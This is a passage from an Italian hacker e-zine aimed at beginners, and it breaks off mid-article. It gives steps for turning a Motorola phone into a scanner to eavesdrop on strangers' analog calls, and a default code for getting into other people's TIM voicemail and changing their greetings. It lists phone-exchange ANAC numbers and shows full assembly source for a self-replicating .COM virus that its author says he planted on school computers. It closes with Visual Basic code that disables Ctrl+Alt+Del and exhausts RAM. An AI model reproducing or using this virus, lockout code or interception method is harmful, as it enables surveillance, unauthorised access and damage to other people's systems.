۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ͻ Ŀ ASCOLTARE LE CHIAMATE DEI CELLULARI ٺ ͼ Autore: Fusyllo Consumo: un pacco di chewing gum Brooklyn Musica ascoltata: quella che volete Dedicato: a tutta la crew di NewBies Eccoci qua come al solito... Cerchero' di spiegarvi come si ascoltano le chiamate altrui. Bisogna dire che con i gsm, che sono digitali, non posiamo ascoltare le chiamate degli altri ma con i tacs che sono analogici e' possibile, infatti con un normalissimo scanner radio e' possibile ascoltarle!!. Io che ho un motorola so farlo solo con quello, e per questo dovete procurarvi un telefonino Motorola. Tutti i telefonini Motorola hanno una presa dove si ricarica il telefonino e dove si possono fare molte altre cose. Per trasformare il vostro telefono in una specie di scanner dovete spegnere il telefonino, collegare il tondino sulla destra (massa) con i primi 5 piedini (i piedini sarebbero questi : " = "). Dovete usare una carta delle chewing gum Brooklyn (quella interna di alluminio) piegata, potete farlo anche con la carta stagnola ma e' piu' difficile. Ora prendetre la carta e piegatela larga 1 cm circa cosi': _____________________________________ ______________________________________ | | | | | | | 2 | | | | | | 1 | |______________________________________| | | ______________________________________ | | | 3 | | | |______________________________________| |_____________________________________| ____________________ | 4 | |____________________| Fatto?? Io preferisco la carta delle chewing gum perche' e' sottile, dura quindi non si piega facilmente come la carta stagnola. Questa e' la parte inferiore del telefonino: Ora prendete la carta e infilatela in questo modo: | Presa | |______|_________________________|__________| /ccccc\ /cccccc/ /cccccc/ c = Carta Ora muovetela un po finche il telefonoino non si accende, togliete la carta e aspettate qualche secondo e sul display compariranno dei numeri disposti cosi': 23 25 65 23 256111 Se non succede niente dopo almeno 4 secondi ripete. Digitate 08# . A questo punto comparira' " Tac 5 '" digitate ancora 08#. NOTA: Il numero cambia a seconda del telefonino ma di solito e' sempre 08#, gli altri numeri sono 04# 05#, 06#, 07#, 08#. Si sentira' un fruscio, digitate 111 altri due numeri a caso, cosi : 111??0# (dove ??0 sono due numeri a caso e lo zero finale). Fatelo piu' volte finche' non sentite la voce della povera persona che sta telefonando su quella frequenza. Potete cambiare frequenza rifacendo 111??0#. Se sbagliate qualcosa nello scrivere le frequenze e compare la scritta ErrOrE digitate 11#. Le chiamate vanno su frequenze che hanno lo zero finale. Frequenze dove troverete facilmente chiamate (e dove guardo sempre)sono: 111700# 111750# 111700# 111850# 111900# 111950# NOTA: Ricordate che il cancelletto, #, e come il tasto Enter del computer e dopo ogni comando lo dovete premere. Se siete stufi di ascoltare e volete essere ascoltati ;-)) dovete spegnere e riaccendere il tel e tutto come prima!!! Se avete un Motorola un po' vecchiotto di quelli che hanno tre contatti alla batteria dovete togliere la batteria, mettere una stagnola o la carta alluminata della sigarette sul secondo e terzo contatto. E poi tutto uguale: i numeri sul display, 08#, 08#, 111???#, ecc. Spero che ci siate riusciti, se no riprovate sempre e fatemi sapere. ;-D Buon ascolto!!! ;-D fusyllo@usa.net Fusyllo ͻ Ŀ SEGRETERIA CELLULARI TIM ٺ ͼ NOTA DI N0bodY88 = questo non e' un articolo ma una mail inviatami da un newbies (orda del nb staff) che ci ha aiutato con questa sua comunicazione di una cosa non so se da lui scoperta o no, ma cmq x me e' una cosa nuova quindi ho deciso di pubblicare la mail come se fosse un articolo (come sembra) ...che dire...spero che vi piaccia ;-) Ciao, sono Velvet, visto che il mio stato da lurker sta lentamente mutando in "operatore interessato" (chiamiamolo cosi') ho voluto mandarvi sta mail per dare il mio apporto alla conoscenza (magari non ve ne fate uno stracazzo di quello che vi diro' ma almeno non potrete dire che non ci ho provato .... :)) Ma bando alle ciance e passiamo ai fatti : quando chiamate un cellulare e vi risponde la segreteria telefonica o se volete tenere controllata la vs. morosa, non appena la bellissima voce metallica dice : "rispode 0-3 ..." provate a digitare 1111# , vi verra' chiesto "inserite il codice ecc...." ridigitate 1111# a questo punto ascolterete gli eventuali messaggi contenuti nella segreteria della persona chiamata.... :) Inoltre se tornerete al "menu' principale" (premere 7 quando richiesto) potrete cambiare le impostazioni della segreteria stessa (anche il messaggio di benvenuto). Volete mettere quando qualcuno chiamera' il tipo, si attacca la segr. e invece del solito messaggio (risponde 0-3-3.....) ci sara' "ma vaff&%&% testa di ca&%$e' non mi rompere i cog&%e'&i" :) Questo metodo l'ho provato solo chiamando abbonamenti TIM (033x), con i Telecom invece del codice viene richiesto il numero di tel. Spero di esservi stato utile (e' una cazzata ma puo' essere utile e divertente) Continuate cosi' Greetings from VelveT <> < > < Blue box > < VaFfa'99 > < > < > <> consumo: mezzo litro di coca-cola(quella del discount, qui si dice 3kg 100 lire ! ) musica ascoltata: Hit Mania Dance! Dedicato a: DeBian (grazie) , NERvous , agli spp , e al NewBies staff Ciao sono VaFfa, molti mi hanno chiesto l'origine di questo nick (spesso aggiungendo dispreggiativi, come ha fatto awgn aggiungendo 'nculo), ma il mio nick ha origini un po' particolari, infatti tempo fa' installatomi icq misi un nick a caso e si formo la mitica parola di VaFfa(credevo che il nick non servisse a niente ma......).Vabbe' ho sbandata un po' dal titolo dell'articolo ma ora mi sono rimesso in carreggiata quindi attenti a quello che dico!!!!!!!!(tutte cazzate?!?!?! ,ma!) Innanzitutto chi di voi non ha mai sentito parlare di blue box? Credo che ormai tutti hanno sentito questo fantastico nome! Innanzi tutto vi dico che non si possa piu usare in italia, poiche' sono state migliorate tecnologie , mettendo dei filtri alle cabine!(della telekom). So per certo che lo si possa usare la blue box nei paesi del terzo mondo, ma solo in locale, quindi a chi conviene andare in quei paesi per boxa'? Credo nella mia modesta opinione nessuno, ma ci sono tante menti malate come la mia che farebbere questo e altro per non pagare la telekom!! Un po di pausa(pranzo e torno!).......................musica di sottofondo. ................................................................... ........Tornato pranzato bene!Stanno pure per comincia' i simpson vabbue'! Allora per prima cosa bisogna costruirso questa maledetta blue box! ....Scusate un attimo vi dico perche' viene detta blue!Secondo voi perche'? pausa riflessione.....................................dho dho dho non lo sapete? Ve lo dico io , ve lo dico! perche' secondo fonti attendibili la prima box trovata era di colore blue!...... Io vi ho allegato degli schemini per questa blue box se siete bravi riuscite a costruirla senno vi arrangiate!!!!!!!!! Visto che tra qualche giorno Padre Pio sara' beato(sono di San Giovanni Rotondo, se volete venire fatemi un fischio) , vi allego un programma che emula la blue box(la soluzione piu facile e' la meno buona!! ricordatevelo) Pausa cotruzione blue box..................................dopo tre anni..... ...................... Finalmente ci siete riusciti non ci speravo piu! Allora mo vi spiego il funzionamento della blue box. Consiste nell'imitare i toni del servizio della linea a cornetta alzata, quindi la centralina telefonica viene ingannata e' KaB00m!! Era molto e dico molto sicuro usare questo metodo (a quanto ne sappia era legale, cioe' non c'era legge contro questo reato!), ed infatti e stato usato moltissimo che la telekom ha rimediato. Alcune persono utilizzavano questo metodo per parlare con i loro parenti Americani , altri (secondo me il metodo piu disgustoso) la usavano per scaricarsi software dalle bbs di oltreoceano, veniva usata un po come un giocattolo, senza sapere che era frutto di grande lavoro! La Blue box era arrivata in ogni casa, poiche' molti l'hanno venduta al popolo(diciamo al mercato hihihihiihihihihhihihihhi) quindi i provvedimenti sono stati immediati! Gia' che ci sono vi dico che la prima frequenza a esser stata scoperta fu la mitica 2600 (ora capirete tutti i ng con questo numero!). Piccola perentesi sulla telekom e come fregarla = Per me le tariffe telekom sono abbastanza buone io paga 30k -40k ogni due e' sto collegato in media un ora al gionro! Al momento non ci sono metodi per fregare questa telekom, ma metodi per fregarci tra di noi ( tipo green che sono pagati dalle aziende, quindi chi li usa non fa danno alla telekom ma alle aziende)e vi do un consiglio non usate green!!!! I green sono tutti loggati e' insicuri!!!!!! Poi non basta trovare i green ma ci vogliono anche le pass che sono la cosa piu difficile da trova'! io vi saluto email per le vostre lamentele! a.piano@usa.net ͻ Ŀ BOXA DI QUI, BOXA DI LA' ٺ ͼ Magari vi son utili raccatattati un poco ovunque e verificati Thanks for the file AltStopper NPA ANAC number Approximate Geographic area --- --------------- --------------------------------------------- 201 958 Hackensack/Jersey City/Newark/Paterson, NJ 202 811 District of Columbia 203 970 CT 205 300-222-2222 Birmingham, AL 205 300-555-5555 Many small towns in AL 205 300-648-1111 Dora, AL 205 300-765-4321 Bessemer, AL 205 300-798-1111 Forestdale, AL 205 300-833-3333 Birmingham 205 557-2311 Birmingham, AL 205 811 Pell City/Cropwell/Lincoln, AL 205 841-1111 Tarrant, AL 205 908-222-2222 Birmingham, AL 206 411 WA (Not US West) 207 958 ME 209 830-2121 Stockton, CA 209 211-9779 Stockton, CA 210 830 Brownsville/Laredo/San Antonio, TX N 210 951 Brownsville/Laredo/San Antonio, TX (GTE) 212 958 Manhattan, NY 213 114 Los Angeles, CA (GTE) 213 1223 Los Angeles, CA (Some 1AESS switches) 213 211-2345 Los Angeles, CA (English response) 213 211-2346 Los Angeles, CA (DTMF response) 213 760-2??? Los Angeles, CA (DMS switches) 213 61056 Los Angeles, CA 214 570 Dallas, TX 214 790 Dallas, TX (GTE) 214 970-222-2222 Dallas, TX 214 970-611-1111 Dallas, TX (Southwestern Bell) 215 410-xxxx Philadelphia, PA 215 511 Philadelphia, PA 215 958 Philadelphia, PA 216 200-XXXX Akron/Canton/Cleveland/Lorain/Youngstown, OH 216 331 Akron/Canton/Cleveland/Lorain/Youngstown, OH 216 959-9892 Akron/Canton/Cleveland/Lorain/Youngstown, OH 217 200-xxx-xxxx Champaign-Urbana/Springfield, IL 219 550 Gary/Hammond/Michigan City/Southbend, IN 219 559 Gary/Hammond/Michigan City/Southbend, IN N 301 2002006969 Hagerstown/Rockville, MD 301 958-9968 Hagerstown/Rockville, MD 303 958 Aspen/Boulder/Denver/Durango/Grand Junction /Steamboat Springs, CO N 305 200-555-1212 Ft. Lauderdale/Key West/Miami, FL N 305 200200200200200 Ft. Lauderdale/Key West/Miami, FL N 305 780-2411 Ft. Lauderdale/Key West/Miami, FL 310 114 Long Beach, CA (On many GTE switches) 310 1223 Long Beach, CA (Some 1AESS switches) 310 211-2345 Long Beach, CA (English response) 310 211-2346 Long Beach, CA (DTMF response) 312 200 Chicago, IL 312 290 Chicago, IL 312 1-200-8825 Chicago, IL (Last four change rapidly) 312 1-200-555-1212 Chicago, IL 313 200-200-2002 Ann Arbor/Dearborn/Detroit, MI 313 200-222-2222 Ann Arbor/Dearborn/Detroit, MI 313 200-xxx-xxxx Ann Arbor/Dearborn/Detroit, MI 313 200200200200200 Ann Arbor/Dearborn/Detroit, MI 314 410-xxxx# Columbia/Jefferson City/St.Louis, MO 315 953 Syracuse/Utica, NY 315 958 Syracuse/Utica, NY 315 998 Syracuse/Utica, NY 317 310-222-2222 Indianapolis/Kokomo, IN 317 559-222-2222 Indianapolis/Kokomo, IN 317 743-1218 Indianapolis/Kokomo, IN 334 5572411 Montgomery, AL 334 5572311 Montgomery, AL 401 200-200-4444 RI 401 222-2222 RI 402 311 Lincoln, NE 404 311 Atlanta, GA N 770 780-2311 Atlanta, GA 404 940-xxx-xxxx Atlanta, GA 404 990 Atlanta, GA 405 890-7777777 Enid/Oklahoma City, OK 405 897 Enid/Oklahoma City, OK U 407 200-222-2222 Orlando/West Palm Beach, FL (Bell South) N 407 520-3111 Orlando/West Palm Beach, FL (United) 408 300-xxx-xxxx San Jose, CA 408 760 San Jose, CA 408 940 San Jose, CA 409 951 Beaumont/Galveston, TX 409 970-xxxx Beaumont/Galveston, TX 410 200-6969 Annapolis/Baltimore, MD N 410 200-200-6969 Annapolis/Baltimore, MD 410 200-555-1212 Annapolis/Baltimore, MD 410 811 Annapolis/Baltimore, MD 412 711-6633 Pittsburgh, PA 412 711-4411 Pittsburgh, PA 412 999-xxxx Pittsburgh, PA 413 958 Pittsfield/Springfield, MA 413 200-555-5555 Pittsfield/Springfield, MA 414 330-2234 Fond du Lac/Green Bay/Milwaukee/Racine, WI 415 200-555-1212 San Francisco, CA 415 211-2111 San Francisco, CA 415 2222 San Francisco, CA 415 640 San Francisco, CA 415 760-2878 San Francisco, CA 415 7600-2222 San Francisco, CA 419 311 Toledo, OH N 423 200-200-200 Chatanooga, Johnson City, Knoxville , TN N 501 511 AR 502 2002222222 Frankfort/Louisville/Paducah/Shelbyville, KY 502 997-555-1212 Frankfort/Louisville/Paducah/Shelbyville, KY 503 611 Portland, OR 503 999 Portland, OR (GTE) 504 99882233 Baton Rouge/New Orleans, LA 504 201-269-1111 Baton Rouge/New Orleans, LA 504 998 Baton Rouge/New Orleans, LA 504 99851-0000000000 Baton Rouge/New Orleans, LA 508 958 Fall River/New Bedford/Worchester, MA 508 200-222-1234 Fall River/New Bedford/Worchester, MA 508 200-222-2222 Fall River/New Bedford/Worchester, MA 508 26011 Fall River/New Bedford/Worchester, MA 509 560 Spokane/Walla Walla/Yakima, WA 510 760-1111 Oakland, CA 512 830 Austin/Corpus Christi, TX 512 970-xxxx Austin/Corpus Christi, TX N 513 380-55555555 Cincinnati/Dayton, OH 515 5463 Des Moines, IA 515 811 Des Moines, IA 516 958 Hempstead/Long Island, NY 516 968 Hempstead/Long Island, NY 517 200-222-2222 Bay City/Jackson/Lansing, MI 517 200200200200200 Bay City/Jackson/Lansing, MI 518 511 Albany/Schenectady/Troy, NY 518 997 Albany/Schenectady/Troy, NY 518 998 Albany/Schenectady/Troy, NY N 540 211 Roanoke, VA (GTE) N 540 311 Roanoke, VA (GTE) N 541 200 Bend, OR 603 200-222-2222 NH 606 997-555-1212 Ashland/Winchester, KY 606 711 Ashland/Winchester, KY 607 993 Binghamton/Elmira, NY 609 958 Atlantic City/Camden/Trenton/Vineland, NJ 610 958 Allentown/Reading, PA 610 958-4100 Allentown/Reading, PA 612 511 Minneapolis/St.Paul, MN 614 200 Columbus/Steubenville, OH 614 571 Columbus/Steubenville, OH 615 200200200200200 Chatanooga/Knoxville/Nashville, TN 615 2002222222 Chatanooga/Knoxville/Nashville, TN 615 830 Nashville, TN 616 200-222-2222 Battle Creek/Grand Rapids/Kalamazoo, MI 617 200-222-1234 Boston, MA 617 200-222-2222 Boston, MA 617 200-444-4444 Boston, MA (Woburn, MA) 617 220-2622 Boston, MA 617 958 Boston, MA 618 200-xxx-xxxx Alton/Cairo/Mt.Vernon, IL 618 930 Alton/Cairo/Mt.Vernon, IL 619 211-2001 San Diego, CA 619 211-2121 San Diego, CA N 659 220-2622 Newmarket, NH N 703 211 VA N 703 511-3636 Culpeper/Orange/Fredericksburg, VA 703 811 Alexandria/Arlington/Roanoke, VA 704 311 Asheville/Charlotte, NC N 706 940-xxxx Augusta, GA 707 211-2222 Eureka, CA 708 1-200-555-1212 Chicago/Elgin, IL 708 1-200-8825 Chicago/Elgin, IL (Last four change rapidly) 708 200-6153 Chicago/Elgin, IL 708 724-9951 Chicago/Elgin, IL 713 380 Houston, TX 713 970-xxxx Houston, TX 713 811 Humble, TX N 713 380-5555-5555 Houston, TX 714 114 Anaheim, CA (GTE) 714 211-2121 Anaheim, CA (PacBell) 714 211-2222 Anaheim, CA (Pacbell) N 714 211-7777 Anaheim, CA (Pacbell) 716 511 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel) 716 990 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel) 717 958 Harrisburg/Scranton/Wilkes-Barre, PA 718 958 Bronx/Brooklyn/Queens/Staten Island, NY N 770 940-xxx-xxxx Marietta/Norcross, GA N 770 780-2311 Marietta/Norcross, GA 802 2-222-222-2222 Vermont 802 200-222-2222 Vermont 802 1-700-222-2222 Vermont 802 111-2222 Vermont N 804 990 Virginia Beach, VA 805 114 Bakersfield/Santa Barbara, CA 805 211-2345 Bakersfield/Santa Barbara, CA 805 211-2346 Bakersfield/Santa Barbara, CA (Returns DTMF) 805 830 Bakersfield/Santa Barbara, CA 806 970-xxxx Amarillo/Lubbock, TX 810 200200200200200 Flint/Pontiac/Southfield/Troy, MI N 810 311 Pontiac/Southfield/Troy, MI 812 410-555-1212 Evansville, IN 813 311 Ft. Meyers/St. Petersburg/Tampa, FL N 815 200-3374 Crystal Lake, IL N 815 270-3374 Crystal Lake, IL N 815 770-3374 Crystal Lake, IL 815 200-xxx-xxxx La Salle/Rockford, IL 815 290 La Salle/Rockford, IL 817 211 Ft. Worth/Waco, TX 817 970-611-1111 Ft. Worth/Waco, TX (Southwestern Bell) 818 1223 Pasadena, CA (Some 1AESS switches) 818 211-2345 Pasadena, CA (English response) 818 211-2346 Pasadena, CA (DTMF response) N 860 970 CT 903 970-611-1111 Tyler, TX 904 200-222-222 Jackonsville/Pensacola/Tallahasee, FL 906 1-200-222-2222 Marquette/Sault Ste. Marie, MI 907 811 AK 908 958 New Brunswick, NJ N 909 111 Riverside/San Bernardino, CA (GTE) 910 200 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC 910 311 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC 910 988 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC 914 990-1111 Peekskill/Poughkeepsie/White Plains/Yonkers, NY 915 970-xxxx Abilene/El Paso, TX N 916 211-0007 Sacramento, CA (Pac Bell) 916 461 Sacramento, CA (Roseville Telephone) 919 200 Durham, NC 919 711 Durham, NC N 954 200-555-1212 Ft. Lauderdale, FL N 954 200200200200200 Ft. Lauderdale, FL N 954 780-2411 Ft. Lauderdale, FL Canada: 204 644-4444 Manitoba 306 115 Saskatchewan 403 311 Alberta, Yukon and N.W. Territory 403 908-222-2222 Alberta, Yukon and N.W. Territory 403 999 Alberta, Yukon and N.W. Territory 416 997-xxxx Toronto, Ontario 506 1-555-1313 New Brunswick 514 320-xxxx Montreal, Quebec U 514 320-1232 Montreal, Quebec U 514 320-1223 Montreal, Quebec U 514 320-1233 Montreal, Quebec 519 320-xxxx London, Ontario 604 1116 British Columbia 604 1211 British Columbia 604 211 British Columbia 613 320-2232 Ottawa, Ontario 705 320-4567 North Bay/Saulte Ste. Marie, Ontario N 819 320-1112 Quebec Australia: +61 03-552-4111 Victoria 03 area +612 19123 All major capital cities +612 11544 United Kingdom: 175 Israel: 110 ZeroCool Provoces the best you will die like a slave ۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰ ͻ Ŀ FILOSOFIA DEL VIRER MODERNO ٺ ͼ By Caos83 All'alba delle tecnologie elettroniche non c'erano quei cazzo di sistemi operativi che rompevano le palle come Win95/98/NT. C'era il Dos oppure Unix per le macchine che dovevano gestire una rete. Oggi invece, per colpa dello stramaledettissimo Bill Gates, ci ritroviamo con un S.O. che fa come cazzo gli pare, e quando meno te lo aspetti, anche se avvii la calcolatrice, ti ritrovi un'errore di protezione generale, o qualche altra stronzata del genere. Inoltre, con l'avvento della FAT32, i vecchi boot-virus non sono pi in grado di infettare efficentemente i dischi. Allora, le cose sono due: o si cominciano a scrivere virus esplicitamente per Windows o si intraprende un'altra strada che secondo me pi facile, pi divertente, e nello stesso tempo pi cattiva. Il punto IMPEDIRE CHE L'UTENTE RIESCA AD AVVIARE WINDOWS. Per far ci basta costruire un appending Virus che non permetta di avviarlo. Premetto che questo virus nato dalla rabbia che nutro verso la mia scuola, dove ci saranno 30 computer e non possibile utilizzarne neanche uno. Inoltre i docenti e gli alunni, non sanno fare un cazzo, e le lezioni si ba- sano su "come usare windows". Ma se capace anche mia nonna!!!!. Allora ho pensato di infettare buona parte dei computer, non certo per danneggiarli(sarebbe da lamer), ma per dar loro una lezione. La spiegazione del sorgente dopo il virus. ; NewBies.asm ; Virus dimostrativo compilabile con il turbo assembler ; Non mi assumo alcuna responsabilit di un uso improprio di questo file. ; Il virus ed i doc. sono puramente a carattere informativo. Rombios segment at 0F000h org 0FFF0h Reset label far ;segmento che punta ad un jmp per resettare il computer Rombios ends code segment byte public assume cs:code,ds:code,es:code,ss:code org 100h ;file .COM start: db 0E9h,0,0 ;Salta al prox comando virus: call inizio ;Salva l'indirizzo nello stack inizio: pop bp ;Setta BP sub bp,offset inizio mov dx,0040h mov es,dx or byte ptr es:[17h],01000000b lea si,[bp+offset oldjump] ;Indirizzo vecchio mov di,100h ;Salvo dove metterlo push di ;cosi possiamo ritornare movsb movsb movsb lea dx,[bp+offset dta] ;Indirizzo del nuovo DTA mov ah,1ah ;setta il DTA!! int 21h call Change_Dir lea dx,[bp+offset comfilespec] call findfirst ;cerca e infetta i file .com mov ah,0Eh lea si,[bp + Intro] ;SI punta al testo da scrivere call disp lea si,[bp + Intro2] call disp call Questions mov dx,80h ;Indirizzo del DTA originale ;Lo rimetto dov'era mov ah,1ah ;setta il DTA!! int 21h retn ;Ritorno al pgm Change_Dir: mov ah,3bh lea dx,[bp+offset WinDir] int 21h ret findfirst: mov ah,4eh ;trova il primo file mov cx,7 ;con questi attributi findnext: int 21h ;Trovo il prox jc quit ;Se non trovo niente smetto cld lea si,[bp+dta+30] lea di,[bp+noinfex] mov cx,10 repe cmpsb jz Findnext2 call infection ;Altrimenti infetto Findnext2: mov ah,4fh ;Cerco il prox jmp findnext ;Ciclo quit: ret ;stop! infection: mov ax,3d00h ;Apro il file in lettura call open mov cx,1ah lea dx,[bp+offset buffer] ;salvo i dati mov ah,3fh ;Leggo int 21h mov ah,3eh ;chiudo il file int 21h CheckCom: mov bx,[bp+offset dta+1ah] ;Prelevo la dimensione mov cx,word ptr [bp+buffer+1] ;prelevo l'indirizzo del salto add cx,eof-virus+3 ;e ci sommo la lunghezza del ;virus cmp bx,cx ;controllo dimensione jz quitinfect jmp infectcom quitinfect: ret InfectCom: sub bx,3 ;setto per il nuovo salto lea di,[bp+oldjump] lea si,[bp+buffer] movsw movsb mov [bp+buffer],byte ptr 0e9h mov word ptr [bp+buffer+1],bx ;salvo mov cx,3 ;numero di byte da scrivere jmp finishinfection FinishInfection: push cx ;salvo il numero di byte ;da scrivere xor cx,cx ;azzero attributi call attributes mov al,2 ;apro il file in lett/scritt call open lea dx,[bp+buffer] ;dx punta ai dati pop cx ;cx=numero byte mov ah,40h ;scrivo int 21h jc closefile mov al,02 ;sposto il puntatore in fondo Call move_fp mov cx,eof-virus ;dimensione virus lea dx,[bp+offset virus] ;indirizzo di inizio mov ah,40h ;scrivo il virus int 21h closefile: mov ax,5701h ;ripristina ora e data mov dx,word ptr [bp+dta+18h] mov cx,word ptr [bp+dta+16h] ;sono ne DTA!! int 21h mov ah,3eh ;chiudo il file int 21h xor cx,cx mov cl,byte ptr [bp+dta+15h] ;Prendo i vecchi attrib. call attributes retn move_fp: ;muove il puntatore xor cx,cx ;del file ad al xor dx,dx ; mov ah,42h int 21h retn open: lea dx,[bp+DTA+30] ;il nome nel DTA mov ah,3dh ;apre il file int 21h xchg ax,bx ;bx contine l'handle ret disp: lodsb ;Carico il carattere or al,al ;Se 0 finita je cont int 010h ;visualizzo il car jmp short disp ;prendo il prox carattere cont: ret Questions: lea si,[bp+offset Domande] mov di,-1 More: inc di cmp byte ptr [si],'$' je CntP mov ah,0Eh call disp mov ah,0 Car: int 16h cmp al,byte ptr offset [bp+offset Risposte+di] je More jmp Reset CntP: ret attributes: lea dx,[bp+DTA+30] mov ax,4301h ; setta gli attrib. int 21h ret Intro db 13,10,13,10,"Ciao, il tuo computer del gatto !!! !!!",13,10,13,10,"Ora, le cose stanno cos : ho deciso di prendere il controllo del tuo computer, ma se risponderai bene potrai avviare il programma",13,10,0 Intro2 db 13,10,"A proposito, non tentare di spengere la tua carcassa, altrimenti mi arrabbio.",13,10,"L'argomento di oggi : Scienze Ambientali !!!!!",13,10,"So che sei preparato",13,10," Cominciamo...",13,10,0 Domande db 13,10,10,"Linux il miglior sistema operativo ? ",0 db 13,10,"Sostieni i NewBies ? ",0 db 13,10,"Quanto sono bravi(0-9) ? ",0 db 13,10,"Toglierai Windows ? ",0,'$' Risposte db "SS9S" comfilespec db '*.com',0 ;file da cercare oldjump db 090h,0CDh,020h ;Vecchio jump noinfex db "COMMAND.COM" WinDir db "\windows",0 eof equ $ ;Segna la fine del file buffer db 1Ah dup(?) dta db 42 dup(?) code ends end start Ecco fatto!!!! Il virus abbastanza banale, ma necessaria la spiegazione di alcune cose. All'inizio viene dichiarato il segmento di memoria del Rombios dove al 0FFF0 c' una label su cui poter fare un jmp per risettare il computer. Poi c' "db 0Eh,0,0" che un'espressione in opcode esadecimali che indica un salto di tre bytes lasciandoli liberi poi due, perci salta alla prossima istruzione che esegue una call a l'istruzione seguente. Queste tre istruzioni che vengono adesso sono molto importanti, perch determinano l'offset dinamico delle variabili del programma. Push bp -------> estrae dallo stack il puntatore di base sub bp,offset Inizio --> fa s che bp punti all'inizio del virus Perci ora posso conoscere gli offset di tutte le mie variabili usando LEA (load effettive address) facendogli conoscere l'offset dell'offset che deve caricare. In poche parole si user lea reg16,[bp+offset var]. Ecco fatto!!! Poi viene attivato il caps-lock per far in modo che ogni lettera della tastiera inserita dall'utente sia maiuscola. Perci queste istrz sono una vera stronzata. Comunque effettuano un or tra lo status flag1 della tastiera con il bit 6(Quello appunt del caps). Le altre istruzioni si spieganop da se perch sono tutte movs. Poi l'int 21h serv. 1Ah setta il nuovo dta, una struttura lunga alcuni bytes che contiene varie informazioni utili per findfirst/next che atrimenti sovrascriverebbero il paramentri opzionali del pgm. Questo stramaladettissimo DTA risiede nel PSP mi sembra all'offset 80h. Comunque andatevelo a guardare da qualche altra parte, come nella interr. list di Ralph Brown. Poi viene cambiata la directori corrente con quella di windows. Poi chiama la parte replicante del viruz che trova il primo file com e se il nome del file quello del command.com nol lo infetta perch il computer altrimenti crasherebbe. Altrimenti cerca se gia infetto. Per vederelo viene comparata la dimensione del file con quella del file stesso prima del salto+3 bytes iniziali+la dimensione effettiva del viruz.Perci se gi infetto ne trova un'altro, altrimenti precede. Perci scrive i primi tre bytes facendo in modo che all'esecuzione del file, il controllo passi al virus, e salva i primi tre bytes originali in oldjmp. Perci scrive il virus nella parte finale del pgm e ripristina gli attributi. Il replicatore cos fatto. Questa parte , anche se per un virer fonda- mentale ed altres importante, si pu considerare la parte pi noiosa. Ora infatti c' la parte pi divertente in cui potete mettere tutta la fantasia che volete. Si tratta della bomb ovvero l'effetto del virus in se per se. Ripeto che questa parte non dovrebbe eseere tanto distruttiva, a meno che il destinatario non sia qualcunio che odiate tanto e che si merita una lezione. Perci con l'int 10h serv. 0Eh visualizzo la stringa dove mi presento e dove dico stronzate varie. Poi pongo delle domande all'utente e lo costringo a rispondere bene ed andare anche contro la sua logica se vuole avviare il suo Windoze. Se le risposte sono esatte lo pu avviare. Altrimenti il sistema si riavvier Ripeto che questo viruz molto banale, compreso il suo effetto, ma un buon soggetto di partenza per coloro che vogliono studiare l'arte del viring. Io per vendetta ne ho introdotto uno simile nei computer della scuola, perch i docenti non ne capiscono un kaxxo di computer e perch ci sono una trentina di computer e non ce li fanno usare. E poi alzano la tasse scolastiche!!!!!!! Che spreco???!!??. Ok, molto probabile che non ci avrete capito una fava, per esercitatevi specialmente con l'assembler.... magari ne scriver un tutorial pi in qua. Enjoy your hacking/cracking/phreaking/viriing Alla prossima...... ++++++Caos83++++++ ########################################################### ##### DABATCHA PRESENTS: VBASIC DAFT-PROGRAMMING ########## ########################################################### CONSUMO: Niente, ho scritto questo ridicolo articolo in troppo poco tempo per avere anche il tempo di dare un morso a qualcosa. MUSICA: Low man's lyric (Metallica) ATTENZIONE, QUESTO E' UN DISCLAIMER!!! Non mi rirtengo assolutamente responsabile dell'uso che farete dei programmi qui di seguito spiegati... pertanto, fateci quello che cazzo vi pare e non mi rompete i cosiddetti. PREMESSA: Entrambi i programmi che mi accingo a spiegarvi sono inutili, stupidi, poco dannosi e assurdamente semplici da creare, ma siccome questa e' una rivista per new-bies dovete essere contenti come inizio... PROGRAMMA N.1: MANGIARAM (scaricabile dal mio sito) LIVELLO DIFFICOLTA' DA 1 A 10: 1 Ok, questo programma e' il piu' stupido tra i due, quindi vediamo di non perderci troppo tempo... Aprite una form e settate la proprieta' visible su false, poi scrivete queste poche righe in un modulo bas... Public Declare Function SystemParametersInfo Lib "user32" _ Alias "SystemParametersInfoA" (ByVal uAction As Long, _ ByVal uParam As Long, lpvParam As Any, _ ByVal fuWinIni As Long) As Long Public Const SPI_SCREENSAVERRUNNING = 97 Dopodiche' scrivete questo nelle dichiarazioni della form: Sub HotKeyEnabled (X As Boolean) Dim ret As Integer Dim pOld As Boolean x = Not X ret = SystemParametersInfo(SPI_SCREENSAVERRUNNING, X, pOld, 0) End Sub Arrivati a questo punto nella sub form_load() scrivete questo: HotKeyEnabled False A COSA CI E' SERVITO TUTTO CIO'? Questa parte, che in realta' e' la piu' complicata , serve a far si' che l'utilizzatore del programma non possa chiudere quest'ultimo con un CTRL+ALT+CANC. (La routine serve infatti a disabilitare le hot-keys di winzozz 95/98/00) Arrivati a questo punto scrivete, sempre nella sub form_load queste righette... 10 ReturnValue = Shell("c:\windows\calc.exe", 1) AppActivate ReturnValue GOTO 10 Fine del primo programmino stupido. A COSA SERVE? (o meglio, cosa fa?) Beh, penso che non servano molte spiegazioni, la routine e' piu' che lamer... comunque il succo e' questo: Una volta avviato, il programma comincia ad aprire calcolatrici finche' non finisce la RAM. Se l'utente chiude qualche calcolatrice, si libera un po' di RAM, ma siccome il MANGIARAM e' sempre attivo, utilizza la RAM riacquistata per aprire ancora calcolatrici ed esaurirla di nuovo (ovviamente potete far aprire il programma che vi pare). COSA ABBIAMO IMPARATO? Bah, poco o nulla; se non sapevate gia' farlo ora sapete come disabilitare le hot-keys e avviare un programma... PROGRAMMA N.2 COPYYYYYYY (scaricabile dal mio sito) LIVELLO DIFFICOLTA' DA 1 A 10: 2 Questo programma e' leggermente piu' complicato del precedente, ma e' comunque lamerissimo, quindi non voglio perdere molto tempo neanche per questo... (non vi preoccupate, se mi permetteranno di fare un altro articolo per questa rivista scrivero' qualcosa di piu' complesso, ma 